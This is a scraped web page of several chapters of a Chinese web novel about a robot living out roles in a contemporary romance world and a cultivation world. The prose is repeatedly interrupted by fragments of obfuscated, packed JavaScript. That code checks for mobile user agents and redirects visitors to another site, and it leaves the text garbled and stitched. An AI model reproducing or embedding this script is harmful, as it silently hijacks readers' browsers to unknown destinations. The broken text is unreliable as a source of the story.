0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271008|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑挑拣拣地吃饭。 谢家的餐厅隔窗就是花园，郁郁葱葱，绿意盎然。 此时天气正暖，有一扇小窗半开着，把清新的芬芳送入餐厅。 随着风进来的，还有一粒小小的蒲公英种子。 蒲公英种子晃晃悠悠地，正好落在049的手上。 049把它捏起来，仔细端详了一下。 就在那一瞬间，049感觉到了不对劲—— 他的手指尖在极缓慢地显现出颜色，他感觉自己的身体也将一点点地刷新出来。 看起来是终于加载完毕了……但是不要这时候啊！ 049并不想在餐桌前给他们表演一个大变活人助助兴。 于是他当机立断，乘还没有刷新太多的时候，撒腿就跑。 没有人注意一个悬空的手指尖快速跑掉了，但是049的动作扯到了桌布，打翻了谢清心旁边的一杯水。 “哥哥！水突然自己倒了！”谢清心不可思议地大叫起来。 她哥一边叫人来收拾，一边笑她：“肯定是你自己不小心打翻的。” 049从用人身边擦肩而过的时候，还听到后面谢清心的咕哝声：“可我没碰啊……” 谢家很大。 从餐厅到客厅再到门口，049目测了一下，等跑过去估计整条胳膊都能刷新出来。 更不幸的是，门厅这时候正站着两个花艺师在给花瓶换水。 049不想让她们看到这等灵异现象。 于是他只能转头向楼梯跑去。 谢家父母都出门了，楼上这时候并没有人。 049凭着一年前在谢家的记忆，找了一个平时少人进的收藏品陈列室躲了进去。 过了一阵子，049的身体终于全部刷新出来了。 他左右活动活动手腕脚腕，身体大部分没有什么问题，但是后腰处的散热口不知道为什么没有合上。 在那一小块透明的肌肤之下，能看到他一小片冷灰的机体，散发着几不可见的幽幽蓝光。 问题不大，可能卡住了，等回去他拿工具箱给自己修理一下。 幸好是在后腰处，被衣服遮掩着，没有人能看见。 一边庆幸着，他一边走到窗边，从收藏室的窗子往下看。 这个高度跳下去……人类可能摔个半残，但049这个坚硬机器人应该还承受得住。 好，一会儿就看准没人的时候，从这里跳下去逃走吧。049计划得很好。 可就在下一秒，门口就传来了渐近的脚步声和谢明知的说话声： “一定要给你看看，我最近刚到手的本柯克的画……” ——049这下是真觉得自己的主机要烧了。 他匆忙在房间里转了一圈，空旷的、灯光明亮的收藏室根本没有任何可以躲人的地方。 “嘎吱——”眼见收藏室的门把手已经被拧动了，没时间了—— 049紧急打开窗子，当即立断就要往下跳。 可是已经来不及了。 他听到身后同时传来三个震惊的声音—— “……林肆玖？？！你怎么会在这里？！” “……你要干什么？危险！！” “……林哥哥？！” 一只脚已经跨出窗台的049缓缓回头。 看见了收藏室门口，目瞪口呆的裴熠彤、谢明知和谢清心。 ……完蛋。 8. 给我解释 时间静止了三秒钟。 第一个反应过来的还是谢明知。他一个箭步上前，紧紧地揽住了窗边的049。 049感觉他的力道非常大，箍在自己腰上的手臂青筋直暴。 谢明知直接把他抱下了窗台，他的声音在049头顶上响起，不见了往日的随意，严肃而又有一丝难以察觉的颤抖。 “你不知道这很危险吗？”他说。 他的声音在049头顶震动着，体温透过薄薄的家居服传送给了049的传感器。 049被他抱得有点局促，在他怀里挣扎了一下：“我知道了。你能不能先放开我。” 谢明知这才意识到自己还紧紧地抱着林肆玖，慌忙松开手退后两步。 而这时，裴熠彤站在他们身后冷冷地看着。 他眼底的沉郁怒气浓得像暴风雨来临前的乌云，黑云压城城欲摧。 “我……”谢明知想解释自己也不清楚是怎么回事，但是张了张嘴又合上了。 “……”049更是没法解释，他想当场把自己关机算了。 三个就这样微妙又沉默地呈三角形站着，谢明知看着裴熠彤，裴熠彤紧盯049，049看天。 ………… 唯一读不懂凝固空气的是谢清心。 “林哥哥，你什么时候来的？”她跑到049身边，想要去伸手去拉他。 可是还没碰到049的胳膊，049就猛地被拽走了。 动手的是裴熠彤。 “跟我回去。”他的声音平静，但可以听出静水之下的暗涌。 这下连谢清心都感觉到不对劲了，她犹犹豫豫地看了眼049又看了眼裴熠彤：“林哥哥……” 049板直地被拉走了，还不忘给谢清心一个笑容：“下次再来看你！” “……”说完这句话，049感觉前面裴熠彤的脚步更快了。 049被塞进了车子，裴熠彤随即也坐了进来，啪地一声摔上门。 司机都惊了：“少爷……” “回家。”裴熠彤面沉似水地说。 司机立马收回视线不敢多问了，埋头就是唰唰开车。 这时候049反倒不怎么慌乱了。 虽然他故障了，他还记得自己在穿书局培训的时候，研究员曾经告诉他，剧情的推动也要靠情绪的波澜。 现在裴熠彤好像快气死了，情绪波动非常大，这说明自己歪打正着也推动了剧情。 不过究竟是不是正确剧情就另说了……走一步算一步吧。 已有几次忽悠经验的049胸有成竹，甚至已经开始一边构思应对台词，一边看起窗外掠过的景色。 裴熠彤看着他这副样子，握着他手腕的力道更加大了。 049感觉不到疼，但是他的仿生皮肤智能地洇出一圈红痕。 在他白皙的手腕上，显得刺目又靡艳。 一回到裴家，049就被裴熠彤拽着去了三楼的主卧。 迎上前来的管家和用人们纷纷欲言又止，然后悄悄地退下去了。 主卧是裴熠彤的房间，049和裴熠彤在一起快一年也没进来过一次。 他刚被拽进门的时候还在好奇地东张西望。 哇，这空间好大，这落地窗边能塞下十个动感单车，好羡慕。 哇，这柜子好大，要是谢家收藏室能有这么大柜子就好了，好遗憾。 哇，这床好大，是自己房间床的两倍宽，好厉害。 然后下一秒，他就被狠狠摔在了这宽敞又柔软的大床上。 049抬起头，看到裴熠彤居高临下地看着他： “这几天的事情，给我一个解释。” 049酝酿了一个真诚的表情，张口就来：“对不起，我瞒着你做了错事。” 裴熠彤听到这样的回答，眼底更是晦暗。 “你背叛我。”他周身的温度已经降到了冰点。 然后，他怒极反而笑了起来，仿若毫不在意道：“说说看，你们做到哪一步了？” “我们做到潜入谢家收藏室那一步了。还没动手就被你们发现了。”049回答。 “……？” 裴熠彤没想到听到这么驴头不对马嘴的回答，怒气都停滞了一瞬。 “……动手？动什么手？”他露出一点迷惑不解的表情，掺杂在霸总雷霆之怒的剧情中有点滑稽。 “偷画啊。”049诚实地说。 “？”裴熠彤彻底迷惑了，他有点跟不上049的思路，“偷画？偷什么画？” “就是那个，”049说，“谢明知刚到手的，本柯克的画。” 他低下头，做出非常羞愧的样子：“对不起，实在太喜欢那幅画了，一时冲动做了错事。” 裴熠彤愣了半晌，第一个念头是，之前因为去接温秋亭，没有陪他去的那个画展，就是本柯克的画展啊。 那时候他那么伤心失落，难道不是因为自己的冷落，而是因为太爱本柯克吗。 紧接着，他的理智渐渐回笼，仔细一琢磨这个荒谬的理由，又大怒起来。 “我看起来那么像傻子吗，林肆玖。”他猛然伏下下身来，拎起049的领子。 两个人的距离突然拉近，几乎要鼻尖贴着鼻尖。 049可以看到裴熠彤阴鸷黑眸中浓云翻滚，而裴熠彤看到了林肆玖的眸子…… 清澈见底，像两个镶嵌进去的漂亮晶体，只是装饰，却没有情绪。 此时被他这样面对面质问，林肆玖的眼里竟没有一点惊慌、没有一点心虚、也没有一点像从前那样，凝视他时怎么也掩饰不住的爱恋。 “你是什么时候变心的？”裴熠彤道。像是在问林肆玖，也是在问自己。 “我没变心啊，我爱你。”他听见林肆玖这么回答。 林肆玖的声音很坚定，可是他的眼睛里依然没有一点情绪。 “我真的是去偷画的。”他振振有词，“你想啊，我要是和谢明知有点什么不当关系，我为什么不藏他卧室里呢？这样不是更不容易被你发现吗。” “……”裴熠彤一时语塞了。 “而且谢明知要是把我金屋藏娇在二楼，还刻意把你带上去看画，那他要不是太嚣张要不就是傻。” “……” “何况当时你们看到我的时候，谢明知和谢清心不都是非常惊讶的表情吗？”049继续道，“如果说谢明知是装的也就算了，谢清心也会伪装吗？” 他义正辞严：“她只有十一岁，她能撒谎吗？” “……” 裴熠彤知道他在诡辩，他无可辩驳，也不想和他争论。 这么近的距离，他看见林肆玖的嘴唇张张合合。漂亮的形状，看上去柔软的质感。 从前他从未碰过林肆玖。 两个人虽是情人关系，但裴熠彤只把他当用来睹物思人的摆件。 而如今愤怒之下，他忽然燃起了仿若真正情人一般的占有欲。 他此刻突然不想探究他到底干什么去了。 “你说你爱我，那证明给我看。” 裴熠彤的表情更加危险，手摸上了049的衬衫扣子。 049还没有反应过来的时候，衬衫已经被他扯开，四处崩散。 他的身体已经半露在裴熠彤灼热的视线里，像在被审视，像在被欣赏，也像在被吞噬。 “！！！” 049脑袋嗡的一声，双手紧急拉紧了衣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271009|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是，现在他的后腰处还有一块机体是裸//露的啊！谁能想到这裴熠彤突然发癫！ “不是说爱我吗？” 看到林肆玖抗拒的动作，裴熠彤的怒火燃得更加热烈，并从大脑一路灼烧下来，蔓延至全身。 他强硬地把林肆玖的双手紧攥住，按过头顶。 林肆玖白皙的手腕之上，之前的红痕还没有消退，此刻又叠加了殷红的新痕。 他欺身而上。 ——然后腹部猛然传来一阵剧痛！ 049眼看这人的脑袋已经被别的部位控制夺舍了，情急之下大喊一声“抱歉了！” 随后屈起膝盖，狠狠一下顶在了裴熠彤的肚子上。 饶是裴总有八块腹肌，也抵不过机器人的这猛然的一下大力攻击。 强制爱的气氛一下子消失，裴熠彤风度全无，蹲在床边直出冷汗。 “对不起啊，我也是没有办法。” 049一骨碌从床上爬起来，扣好衬衫上仅剩的两个扣子，俯身查看裴熠彤的情况。 看他真的好像很痛，049礼貌又抱歉地说：“要不要我帮你打电话叫你的医生朋友来？” 裴熠彤：“……” 愤怒的总裁，衣衫不整的替身，凌乱的床铺和匆匆赶来的医生朋友。 本来是狗血文里常见的组合，但是没有一个是像他们这样倒反天罡的。 愤怒的总裁躺在床上直冒冷汗，衣衫不整的替身站旁边生龙活虎，赶来的医生朋友一脸无语。 “我求你们了，调情也不要下死手。”医生朋友一边给裴熠彤检查一边说。 不是调情，我只是真心实意地攻击了他。 049本来想解释，但是看到裴熠彤全黑的脸色，默默地闭上了嘴。 要不还是给他留点面子吧。 而在那边鸡飞狗跳的时候，温秋亭被人约了出来。 他们在一个位置隐蔽的咖啡店里见面。此时天色已黑，夜幕沉沉地笼罩下来。 “你约我出来，到底是有什么事情要告诉我？”温秋亭耐心地询问。 坐在他对面的人从阴影中抬起头来，那张脸赫然是管家。 “你看了这个照片就知道了。” 管家依然不改谜语人的本色，不挑明，只是递过去一个厚厚的牛皮纸文件袋。 温秋亭不解地打开文件袋，里面滑落出一叠照片。 照片里的两个人，一个是裴熠彤，还有一个是…… 温秋亭不可置信地睁大了眼睛。 裴熠彤身边的那个和他举止亲密的年轻男人，长相竟和自己出奇地相似。 温秋亭还从来没有见过和自己这么像的人，他一时愣住了，半晌才嗓音滞涩地发问： “他是……” “他叫林肆玖。”管家又抽出一份文件递给温秋亭，文件里是林肆玖的详细资料。 温秋亭接了过去，又盯着资料上的证件照愣了半晌。 “你知道我是什么意思了吧。”管家深沉道，“世界上没有那么多巧合。” 温秋亭的手攥紧了纸边，点了点头。 他猛然站起来，拿着文件袋就冲了出去。 然后又想起忘了什么，折回来礼貌地和管家道了声谢：“谢谢你告诉我。” 随后又转头，快步走进了茫茫的黑夜里。 管家看见他向来温和的脸上似有压抑的怒色。 管家侧头，反光的玻璃倒映出他嘴角一丝恶意的笑容。 裴熠彤，既然你瞧不起我，又和那个林肆玖继续纠缠，对真正的白月光不加以珍惜。 那我就干脆告诉他真相。 我不配得到他吗？ ——你也不配得到。 9. 你变得不像他了 温秋亭冲进黑夜里。 明明是春夜的夜风，此刻却像是带着尖刺刮擦过他的脸颊，生疼，让他的眉头皱得更紧。 他手中的牛皮纸文件袋，仿佛也生出了密密麻麻的刺，在一下一下扎着他。 怎么会这么像？ 怎么会……这么像。 刚刚看到的照片在他脑子里挥之不去，那张和他近乎一致的脸像一个影子，紧紧缠绕着他的心。 管家说得对，世界上没有那么多巧合。 他需要去问个清楚。 牛皮纸袋的边角被他攥出了皱痕，他的脚步加快了。 温家。 二楼书房里，温父正戴端着泡着枸杞的热茶，临窗悠然自得地翻阅着古籍。 “砰！”门突然被打开了，只见自家儿子风风火火地闯了进来，带来了一阵凌厉的风。 “？”温父放下书，疑惑地看着儿子。 温秋亭自幼就跟他一个性子，温温和和的，从没见过他这么急切又毛躁的样子。 “小亭，你怎么了？”温父耐心问道，“出什么事了？” 他看见温秋亭深深地吸了一口气，表情变得认真又严肃。 然后好像下定决心似的，问出了一句石破天惊的话—— “爸你老实跟我交代，你年轻时候是不是在外面对不起我妈了？” 温父：“？？？” 震惊之后，温父仔细看了温秋亭拍在桌上的照片。 “真的好像。”温父看完之后啧啧称奇，“如果当年你的弟弟没有出事……大概也是这个模样吧。” 书房里的氛围沉重了一会儿。 曾经温秋亭有一个弟弟，但是在不到十岁的时候就意外去世了。 “我向你保证，我绝对没有做对不起你妈妈的事情。”温父看着温秋亭的眼睛，也认真地回应道。 温秋亭松了口气。 他知道以他父亲的性格，是不会撒谎的，同样也不会做出有私生子的事情。是他一时急上头了。 “对不起，我错怪您了。”温秋亭愧疚道歉。 “没关系，毕竟这孩子确实像我们家的人。”温父说，“也是一种缘分啊。什么时候可以叫他来家里吃饭。” “好。”温秋亭有一点局促地说，“可是我还不认识他呢。” 温父指了指照片道：“看照片他应该是小裴的好朋友吧。你可以请小裴给你介绍介绍，你们也交个朋友。” 温秋亭笑着点了点头：“那希望不会太唐突。” * 管家是趁裴熠彤把林肆玖拽进主卧之后，溜出来约温秋亭见面的。 等他一回家，正好撞见裴熠彤的医生朋友面有菜色地从门口出来。 ……这么激烈的吗，都叫医生了。 管家心里骂了一句狗男男。 医生看见管家，跟他点了个头打了个招呼。 “秦先生，您怎么来了。”管家状似关心地问道。 “我……”医生本来想吐槽裴熠彤被他那个男朋友在床上殴打的离谱事情，但是想到裴熠彤刚才逼他，让他不准告诉别人这件事。 为了保全老友的男性雄风和脸面，他默默地把话吞了下去，只是叹了口气： “管家啊，他们也不是小孩了，让他们悠着点哈。” 管家一听，心想果然是他们荒唐过头了，心下更是讽刺。 “辛苦您了。”他礼貌地送走了医生。 回到楼上，裴熠彤的主卧房门紧闭着。 管家在门口停留了好一会儿。 裴熠彤看似对温秋亭万分深情，实际还是受不住他人的诱惑。 他就等着温秋亭现在就上门，质问裴熠彤为什么找了个和自己如此相像的替身。 正好就可以撞见这两人刚完事的模样，铁证如山。 结果左等右等没有等到。 怎么回事，温秋亭当时急匆匆的，难道不是来找裴熠彤的吗？ 管家琢磨了一晚上。 第二天早上，裴熠彤坐在餐桌前的时候，脸色有些苍白，眼下也一片乌青。凌厉的气质收敛了许多，而是少见地有几分虚弱。 “纵//欲过度，活该。”管家一边恭敬地给他上咖啡，一边腹诽。 “需要我去叫林先生起床吗？”上完咖啡，管家问道。 “别管他，我不想……”裴熠彤本来想说不想看见他，但是这样一来可能就暴露了自己被踢的丢人事情，于是又住口了。 管家却以为裴熠彤是不想打扰林肆玖休息，在心里撇了撇嘴。 多体贴哦。看来昨晚过得真是美妙。 裴熠彤的昨晚其实非常不美妙。 医生来检查了一下，说没什么大问题，没伤到内脏不用去医院。 但他昨晚的腹部还是隐隐作痛了一晚上，他压根没睡好。 可恶的林肆玖！ 也不知道昨晚他怎么就一时上头对林肆玖起念头了，果然还是应该把他这个赝品替身赶紧赶走。 他原来一点也不像温柔的温秋亭，温秋亭永远不会这么粗鲁。 ……从前他明明不像这样的。 裴熠彤的脑子里胡乱地搅着，突然又想起了从前许多日子里，林肆玖听话乖巧地陪伴他的样子。 好像是从温秋亭回来之后，林肆玖才变了。 像是他的真实灵魂张牙舞爪地抓破伪装，像一粒种子冲破观赏花盆，藏也藏不住地野蛮生长着。 短短一周内就发生了好几件匪夷所思的事，让他觉得一边迷惑愤怒，一边却又奇怪地把更多心神分给了他。 甚至对他的关注比以往一年的都多。 怎么会这样。 裴熠彤又忍不住皱眉了。 最近他为了林肆玖皱眉的次数也比以往一年的多。 这时，突然手机的一阵消息铃声拉回了他的注意力。 这铃声是他给温秋亭设置的专属信息声。他打开手机，看到那边温秋亭发来一句： “熠彤，最近什么时候你有时间的话，我可以去你家坐坐吗？” 裴熠彤立刻回复：“欢迎，今天下午就可以。” 然后他叫过管家，冷冷地道：“告诉林肆玖，让他今天下午先回学校去，不要在家里出现。” 不去想他了，反正自己再怎么也不会真对他产生感情。 觉得烦的话，让他走就好了。 * 而此时的049完全不知道裴熠彤丰富的心理活动。 他已经趁着剧情结束，加着紧切换到仙尊世界去打工了。 鉴于上次有带相框过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271010|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的bug，这次切换之前，049默默向赛博神祈祷了一下，别再出bug了。 这次切换的时候，果然没有听到什么异响。 太好了，赛博神显灵了！ 049高兴地睁开眼，然后就看到他的床尾，安安静静、端端正正地摆着一台熟悉的白色机器。 ——他的充电器动感单车。 感情这次没有大声响是因为落柔软的床上了。 太坏了，赛博神没显灵！ 049有些悲愤地站起身来，吭哧吭哧把单车从床上搬了下来。 他左右看了看，这么古色古香布置典雅的房间，好像一台动感单车放哪里都很突兀。 于是049把单车搬到了屋后的院子里去，正好和走过来的道童迎面遇上。 “林仙长您……”道童见他举着这么个古怪物什，大惊，忘记了不能随便和林仙长搭话的规矩，语无伦次地说，“这是什么……需要我替您搬吗？” “没事没事，就是个法器。”049说，“我自己来就好。” 道童愣愣地看他把奇怪的法器放在廊檐下，然后才想起自己的使命，不由得尴尬地正了正脸色，重新规矩地通告道：“林仙长，因魔族作乱，仙尊为苍生而前去剿魔族，恐近期不能回来。” 049的心情就如班主任因公出差的学生，爽。 “仙尊说，望林仙长您在此好好休养身体，莫要让他担心。”道童补充。 “好好好。”049满口答应，他乐得没剧情。 这时却有另一个道童远远走来，向049行了一个礼。 “林仙长，山下有两位修士求见。” 果然这世界不可能让他闲着，总是有剧情主动找上门来。他叹了口气，问：“是谁？” 道童道：“一位自称是您的好友，名叫薄高阳。另一位叫封景澄。” 薄高阳倒是认识，但封景澄是谁？ 像是看出他的疑惑，道童又补充道：“这位修士束着一根靛蓝发带。” 原来是那个在宗门大比误伤他的少年修士，049明白了。 “请他们进来。”他说。 惊尘峰脚下。 薄高阳和封景澄并肩立着，等待道童回来通报。 封景澄仰头看着惊尘峰。 惊尘峰高数百丈，仰首看去，巍峨雄奇，遮天蔽日。 浓郁的灵气滋养着这座山峰的一草一木，让它们都生长恣意，生机仿佛从浓绿中喷薄而出。 而山顶隐隐见数座楼阁的影子，太过高远无法窥见全貌，只见万道金光巍巍然笼在半空。 这是几乎所有年轻修士都会景仰和向往的地方，是修炼成仙的极佳殿堂。 可就是如此宝地，唯独将一个人养得枯萎了。 而他曾经也意气风发，如皎皎明月下茏茏青柏。 薄高阳见封景澄凝视着山峰不说话，以为他是在担心会不会被林肆玖怪罪。 于是薄高阳拍拍他，安慰道：“没关系的，林肆玖是个最善良温和不过的人。他不会因为你的无心之失就计较的。” 封景澄收回目光，微笑着对薄高阳点点头，感谢他的劝慰。 不会计较我的无心之失。 他心里想着。 可是，如若我并非无心呢？ 10. 上好的电啊 不多时，道童引着薄高阳和封景澄上山来了。 049倚在门框上，远远的看着他们。 两个人都是第一次登上惊尘峰。 薄高阳虽是努力控制自己了，但还是忍不住东看看西望望。 他的目光在金殿前三千年开一次花的霜月玉兰上停留片刻，又游移到檐角下微微晃动的上古玄铜铃。脸上是掩不住的惊叹。 封景澄却与他截然不同。 他目不斜视，面色镇定。如若这些数不胜数的天材地宝都是过眼云烟。 之前在宗门大比上，049只是模糊地看见他的身影。 而如今一观，只见他面庞年轻，一双寒星似的眸子却沉着与年龄不符的坚毅。 他垂在身侧的一双手上，修长的骨节处也疤痕与老茧累累，一看便是长年累月挥剑的成果。 看来这是一个天资与勤奋并重的少年英才。 049站直身子，向他们招呼道：“你们怎么突然来找我了？” 薄高阳和封景澄一顿，先是按照规矩向他行了礼。 然后薄高阳三两步向前，脸上显露出关心的神色：“你的身体……怎么样了？” “已经好了。没关系。”049笑道。 薄高阳欲言又止。 林肆玖在宗门大比现场昏倒，又被无渊仙尊抱走的事情已经传遍了整个宗门。 人们纷纷议论，说这无渊仙尊的道侣竟是个金玉其外败絮其中的花瓶。 在这强者为尊的修仙界，许多人对他这种“交了好运”的草包怀有着混杂着嫉妒的不屑。 但薄高阳等与他亲近的人都知道，林肆玖虽不算是少年天才，但也资质过人。他本是他们中间优秀的一个榜样。 如今变成这样，一定是有什么隐情。但薄高阳不敢问。 正当他沉默的时候，封景澄踏步上前来，向林肆玖深深一揖，赔礼道：“林仙长，都是封某的过失。” 049摆了摆手：“没事。” 要怪也应该全怪江珺那个阴人才对。 但封景澄继续道：“若林仙长不弃，封某愿做任何事情补偿。” 049说：“你又不是故意的。不用在意。” 他不知道的是，那一道直直向他而来的凌厉剑风，确是封景澄刻意而为的。 在他没有看到的剧本里，封景澄曾多次默默凝望着他。 从未入门时，到他和江珺的结契典礼。 也许林肆玖早已忘记他这个人，但封景澄一直记得，林肆玖是他的第一个对手。 那是孩童时期的入门选拔，教习长老给他们一人一把朴素的木剑，将他们随机分组进行比试。 孩童们都是挑来的有些根骨的苗子，他们多少都是有点傲气的。 当时的封景澄便是，自幼他就知道自己有几分修仙的资质，在周围人羡艳和期待的眼神中长大，然后如愿以偿地进入了仙门的选拔。 那么在此，他要一鸣惊人！ 他握紧的手中的木剑，看向对面，他人生的第一个对手。 那是一个看上去安静又漂亮的男孩，和他心目中眼高于顶的修士气质截然不同。 他甚至是温柔的，在封景澄带着敌意的目光下，向他露出了一个友好的微笑。 “请多指教。”那个男孩说，“我叫林肆玖。” 很快，比试开始了。 封景澄拿着木剑快步向前，想要速战速决，成为第一个胜出比赛的人。 可是他的剑被不疾不徐的力道挡住了。 林肆玖的动作看上去没有攻击性，但却剑剑直中他的要害，将他打得步步后退。 他慌了。 原来自己并不是天才。一鸣惊人的梦在此破碎，将他的心割破千万道伤痕。 恍惚中，他的右手被准狠一击，木剑被林肆玖打落，掉在地上一声脆响。 胜负已分。 他红着眼抬起头，准备接受对手的嘲讽。 但他看见的是，林肆玖正关切地看着他，向他伸出手。 “你的手疼吗？”他问，“真抱歉，我有点太用劲了。” 未尽的剑风吹落的几片桃花瓣晃晃悠悠地，落在了林肆玖的肩上。 封景澄愣愣地看着他。 那一刻他想，自己一定要变得很强很强。 等他变得最强的时候，他也要向林肆玖伸出手。 后来他们都成功进入了宗门，但拜在了不同仙师的门下，鲜少再见面。 封景澄放下了自己孩提时期的傲气，开始勤奋埋头练剑。 他想，在宗门大比的时候，他和林肆玖一定还会再次相见。 那时，他要战胜他。 但还未到宗门大比，就传来一个令人震惊的消息。 无渊仙尊竟然和林肆玖结了婚契。 他们结契典礼的那一天，向来练剑不辍的封景澄第一次荒废了时间，前去混入了观礼的人群中。 礼钟悠悠敲响，祝贺声纷如雷鸣。 只有封景澄紧紧地握住了自己的剑柄，像孩童时期第一次握紧那柄木剑。 他想，他无法在宗门大比上战胜林肆玖了。 所以后来，他又一次看到林肆玖身影的时候，他近乎是激动的。 哪怕他的脸被纱帘遮掩，他也能一眼认出他。 不知道是出于什么心理，他横起一剑，让凌厉的剑风朝林肆玖飞了过去。 他并不是想攻击他，他知道，林肆玖的境界早已超越他。 他只是想让林肆玖再接下他一剑。 但是，林肆玖没有接住。 他眼睁睁地看着斗笠滑落，露出了林肆玖苍白的面庞。 议论声纷纷四起的时候，他愣在了台上。 这绝不是曾经鲜活的林肆玖。 在惊尘峰上，他究竟经历了什么。 049看着面前的封景澄面色沉沉，以为他仍在愧疚。于是善意招呼他和薄高阳进院中喝茶。 薄高阳是个活泼又豪爽的人，很快不再拘束，和049谈天说地起来。 而封景澄在一边沉默地坐着，时不时抬眸看一眼049. 就这样过了一会儿，049却突然浑身一悚，跳了起来。 薄高阳和封景澄都诧异地看着他。 049还没开口解释，晴朗的天色就倏然一变。 整个天空翻滚着仿若混沌初开时的墨色，遮天蔽日。 在极低的浓云之中，隐隐流动着几道紫金色的电光。 如龙吟般的隐隐雷声仿若从天的尽头传来。极大的威压笼罩了天地。 “看来是附近有哪位前辈要渡劫了。”薄高阳也跟着站起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271011|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这雷劫如此气势，应该是大乘期的修士破境。”讲到修炼相关，封景澄终于开口了。 原来这是修士破境时的雷劫。049恍然大悟。 刚刚他悚然跳起来，就是感应到了一股强大的电能，这是他作为机器人的本能。 仅仅是感应到就让他这么舒爽，如果能充入这天之雷电，那得爽成什么样啊！ 电啊！那可是上好的电啊！ 他抬起头，用近乎渴望的眼神看着那蕴含着无限能量的电光。 ——它看上去好吃又营养。 薄高阳看049紧紧盯着天上，还以为他是有点惧怕。 于是他赶紧说：“要不我们还是进屋子里躲避一下，毕竟是大乘期的雷劫，对我们来说还是有点危险。” 封景澄也附和。 但049才不想进屋，他正想找个什么借口留在院子里。 这时，忽然一道极其炫目的白光从天而降，在他们眼前亮起。 随后是一声轰然的、如三万张雷符同时爆裂的炸响。 炸响声来自于屋后。 049一愣，突然想起了什么，拔腿就向屋后跑去。 而他身后，薄高阳捂着嗡嗡震鸣的耳朵朝他大喊：“别去——！！！危险——！！！” 049充耳不闻。 他继续狂奔，却突然被一双手拉住了。 那双手带着茧子，粗砺而有力。紧紧地攥住他的手腕。 049回头，看到封景澄的靛蓝发带在乌色的天际下一明一灭。 “别去。”他说。 049愣了一下。 他的动感单车还摆在屋后，他只是想去看看，刚刚那道雷有没有把他的充电器劈坏。 “没事的。”他解释，“不会劈到我的。” 要是能劈到我就更好了，049暗想。 但封景澄还是紧紧拽住他不放。直到屋后的光芒彻底消失，他才松开了他的手腕。 “真是离奇了，这道天雷怎么会落到这里来？”薄高阳揉着耳朵也走上前来，“照理说雷劫只会落在渡劫者周身。” 他们来到屋后一看，只见廊下檐角被击破四散。 一个漆黑的巨坑出现在那里，坑沿还有焦痕，想必是刚刚被雷电击中的痕迹。 而这个巨坑正中央，赫然是一件奇怪的物什。 它不但没有焦黑，反而光耀如新。而它白色的机体之上，隐隐有紫金雷纹闪动。 “这是……”封景澄和薄高阳讶异地看着那个东西。 “这是我的法器。”049猜到了什么，迫不及待地就奔了过去，跳进焦坑。 当他的手触摸到动感单车车把的那一刹那，他像饿了三天的人类开干满汉全席一样，发出了一声满足的喟叹。 ——电啊，这是上好的电啊！ 然后在封景澄和薄高阳震惊的眼光里，他飞身而上，开始狂蹬单车。 单车里储存的天之雷电从充电口中滚滚涌入049的身体。 他感到除了电能，他体内的真元也极速暴涨。犹如海水倒灌入枯竭的河道，犹如久旱的植物吸收入泼天甘霖。 刹那间，万物复苏，欣欣向荣。 在轮子带起的霹雳声中，049突然悟出了一个最适合他的修炼方法—— AAA专业雷劫代劈。 11. 机器道人 此刻，混沌雷云缓缓远去。惊尘峰上又浮出一半碧色的天空。 无论是半明半昧的苍穹，还是这苍穹之下硕大漆黑的雷坑，无不显示着天道的无限力量。 站在巨坑边上的薄高阳和封景澄瞳孔地震。 不过他们倒不是因为天之神力而震撼，而是因为雷坑中仍在不停蹬动的林肆玖。 在他们的印象中，林肆玖一直都是温柔安静的形象。 而此时，林肆玖骑在他那个神秘的法器上，一蹬起来就发狠了、忘情了、没命了！ 他们甚至看到他的发丝噼里啪啦地竖了起来，连他的瞳仁深处，似乎都隐约闪着焰焰电光。 ——这到底是什么神器啊！ 薄高阳和封景澄不敢出声，也不敢擅自离去，就这样看着林肆玖暴烈运动了一刻钟。 最后，神秘法器上的雷纹终于淡去，林肆玖的乌发也恢复柔顺，重又静静地垂落肩背。 林肆玖活力十足地跳下法器，走向了他们。 “你……”薄高阳正想开口询问，却被封景澄打断了。 “你的境界……似乎上升了。”封景澄凝视着林肆玖。 听闻此言，薄高阳也凝神感受了一下。 果然，朝他们走来的林肆玖周身的真元果然充沛许多。 虽然还没有达到直接突破境界的程度，但短时间内如此快的上升，也是令人讶异万分了。 “是的。”林肆玖眼睛弯弯的，“拜天雷所赐。” 049刚刚在触摸到动感单车的时候就发现了，它可以储存雷电，然后转换成049可以利用的能量。 